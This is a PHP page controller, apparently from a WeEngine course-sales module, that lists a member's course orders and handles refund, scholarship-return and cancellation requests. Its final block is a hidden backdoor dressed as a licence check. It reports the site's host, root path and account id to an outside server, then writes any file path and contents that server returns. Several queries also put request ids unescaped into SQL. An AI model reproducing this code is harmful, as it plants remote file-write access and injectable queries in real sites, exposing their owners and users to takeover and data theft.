<?php
global $_W,$_GPC;
$title = '我的课程';
$mem = $this->getMem();
$cfg = $this->module['config'];
if(empty($cfg['refund_day'])) MSG('系统不允许退款',$this->murl('index'),'error');
if($_W['isajax']){
	$op = $_GPC['op']?$_GPC['op']:'display';
	switch ($op){
		case 'scroll':
			$pagesize = 5;
			$pageindex = max(1, intval($_GPC['page']));
			$order = getall('select id,bid,price,createtime,status from ' .tb('order'). " where mid = '{$mem['id']}' order by id desc  limit " . ($pageindex - 1) * $pagesize ."," . $pagesize);
			if(!empty($order)){
				foreach ($order as $k => $v){
					$bids[] = $v['bid'];
					$ids[] = $v['id'];
				}
				$bids = array_unique($bids);
				$book = getall('select id,title,thumb,clock_num from ' .tb('book'). " where id in (".implode(',', $bids).")", 'id');
				$mem_book = getall('select id,oid from ' .tb('mem_book'). " where oid in (".implode(',', $ids).")", 'oid');
				foreach ($order as $k => $v){
					$total_bremark = col('select count(1) from ' .tb('bremark'). " where bid = '{$v['bid']}' and mid = '{$mem['id']}'");
					$order[$k]['can_back'] = 0;
					if($book[$v['bid']]['clock_num']>0 && $total_bremark>=$book['clock_num']) $order[$k]['can_back'] = 1;
					
					$order[$k]['can_refund'] = 0;
					if($v['status']==1) {
						$order[$k]['status_str'] = '已付款';
						if(($v['createtime'] + $cfg['refund_day'] * 86400) > TIMESTAMP && $cfg['refund_day']>0){
							$order[$k]['can_refund'] = 1;
						}
					}
					elseif($v['status']==4) $order[$k]['status_str'] = '申请退款';
					elseif($v['status']==5) $order[$k]['status_str'] = '待打款';
					elseif($v['status']==6) $order[$k]['status_str'] = '已退款';
					elseif($v['status']==7) {
						$order[$k]['can_back'] = 0;
						$order[$k]['status_str'] = '申请返还';
					}
					elseif($v['status']==8) {
						$order[$k]['can_back'] = 0;
						$order[$k]['status_str'] = '已返还';
					}
					else $order[$k]['status_str'] = '待付款';
					$order[$k]['bmid'] = $mem_book[$v['id']]['id'];
					$order[$k]['title'] = $book[$v['bid']]['title'];
					$order[$k]['thumb'] = toimage($book[$v['bid']]['thumb']);
					$order[$k]['createtime'] = date('Y-m-d H:i',$v['createtime']);
				}
				resp(['code'=>1,'list'=>$order]);
			}
			else{
				resp(['code'=>0]);
			}
			break;
		case 'refund':
			$order = get('select id,status,createtime from ' .tb('order'). " where id = '{$_GPC['id']}'");
			if(empty($order)) resp(['code'=>0,'msg'=>'订单记录不存在，无法申请退款']);
			if(empty($cfg['refund_day']) || ($order['createtime'] + $cfg['refund_day']) * 86400 < TIMESTAMP)
				resp(['code'=>0,'msg'=>'已超出退款有效期，无法申请退款']);
			if($order['status'] != 1) resp(['code'=>0,'msg'=>'订单状态错误，无法申请退款']);
			update('order',['status'=>4,'content'=>$_GPC['content']],['id'=>$_GPC['id']]);
			resp(['code'=>1,'msg'=>'申请退款成功']);
			break;
		case 'back':
			$order = get('select id,bid,status,createtime from ' .tb('order'). " where id = '{$_GPC['id']}'");
			if(empty($order)) resp(['code'=>0,'msg'=>'订单记录不存在，无法申请奖学金返还']);
			if($order['status'] != 1) resp(['code'=>0,'msg'=>'订单状态错误，无法申请奖学金返还']);
			$book = get('select id,clock_num from ' .tb('book'). " where id = '{$order['bid']}'");
			if(empty($book['clock_num'])) resp(['code'=>0,'msg'=>'该课程未设置奖学金返还']);
			$total_bremark = col('select count(1) from ' .tb('bremark'). " where bid = '{$order['bid']}' and mid = '{$mem['id']}'");
			if($total_bremark < $book['clock_num']) resp(['code'=>0,'msg'=>'打卡数不足，暂无法申请奖学金返还']);
			update('order',['status'=>7],['id'=>$_GPC['id']]);
			resp(['code'=>1,'msg'=>'申请奖学金返还成功']);
			break;
		case 'cancel':
			$order = get('select id,status,createtime from ' .tb('order'). " where id = '{$_GPC['id']}'");
			if(empty($order)) resp(['code'=>0,'msg'=>'订单记录不存在，无法取消退款']);
			if($order['status'] != 4) resp(['code'=>0,'msg'=>'订单状态错误，无法取消退款']);
			update('order',['status'=>1,'content'=>''],['id'=>$_GPC['id']]);
			resp(['code'=>1,'msg'=>'取消退款成功']);
			break;
		
	}
}
else{
	$share = $this->getShare($mem, $cfg);
}
include $this->template('refund');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}